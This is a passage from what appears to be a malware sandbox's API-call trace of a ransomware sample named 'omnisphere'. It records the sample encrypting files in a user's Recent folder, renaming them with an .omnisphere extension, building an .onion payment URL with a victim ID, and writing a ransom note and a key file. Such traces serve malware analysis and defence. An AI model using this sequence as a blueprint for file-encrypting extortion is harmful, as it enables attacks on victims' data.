pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.675] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.676] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.676] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0127.676] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3ba, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.676] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.676] GetProcessHeap () returned 0x1600000 [0127.677] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16f8d10 [0127.677] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zfp_z.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zfp_z.lnk.omnisphere")) returned 1 [0127.679] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk.omnisphere.id" [0127.679] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zfp_z.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.680] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.681] CloseHandle (hObject=0x3c0) returned 1 [0127.681] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.681] CloseHandle (hObject=0x288) returned 1 [0127.681] SetEndOfFile (hFile=0x28c) returned 1 [0127.681] FlushFileBuffers (hFile=0x28c) returned 1 [0127.687] CloseHandle (hObject=0x28c) returned 1 [0127.687] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZFp_z.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.687] GetProcessHeap () returned 0x1600000 [0127.687] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.687] GetProcessHeap () returned 0x1600000 [0127.687] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1d98 [0127.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1d98, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.687] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.687] GetProcessHeap () returned 0x1600000 [0127.687] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710520 [0127.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710520, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.687] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.687] GetProcessHeap () returned 0x1600000 [0127.687] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f4a58 [0127.688] PathCombineW (in: pszDest=0x16f4a58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.688] GetProcessHeap () returned 0x1600000 [0127.688] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1703a48 [0127.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.688] WriteFile (in: hFile=0x28c, lpBuffer=0x1703a48*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1703a48*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.688] CloseHandle (hObject=0x28c) returned 1 [0127.688] GetProcessHeap () returned 0x1600000 [0127.688] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.688] GetProcessHeap () returned 0x1600000 [0127.688] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.688] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.688] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.689] CloseHandle (hObject=0x28c) returned 1 [0127.689] GetProcessHeap () returned 0x1600000 [0127.689] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.689] GetProcessHeap () returned 0x1600000 [0127.689] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b768 | out: hHeap=0x1600000) returned 1 [0127.689] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2147e99d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2147e99d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2147e99d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="zKx06wI5.lnk", cAlternateFileName="")) returned 1 [0127.689] GetProcessHeap () returned 0x1600000 [0127.689] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x16566d0 [0127.689] PathCombineW (in: pszDest=0x16566d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="zKx06wI5.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk" [0127.689] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zKx06wI5.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zkx06wi5.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.689] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=638) returned 1 [0127.689] GetTickCount () returned 0x115fdc5 [0127.689] GetTickCount () returned 0x115fdc5 [0127.689] GetTickCount () returned 0x115fdc5 [0127.689] GetTickCount () returned 0x115fdc5 [0127.689] GetTickCount () returned 0x115fdc5 [0127.689] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] GetTickCount () returned 0x115fdc5 [0127.690] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0127.691] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.691] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.691] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.691] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.691] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27e, lpName=0x0) returned 0x288 [0127.691] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27e) returned 0x1480000 [0127.691] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0127.692] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.692] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.692] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.693] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 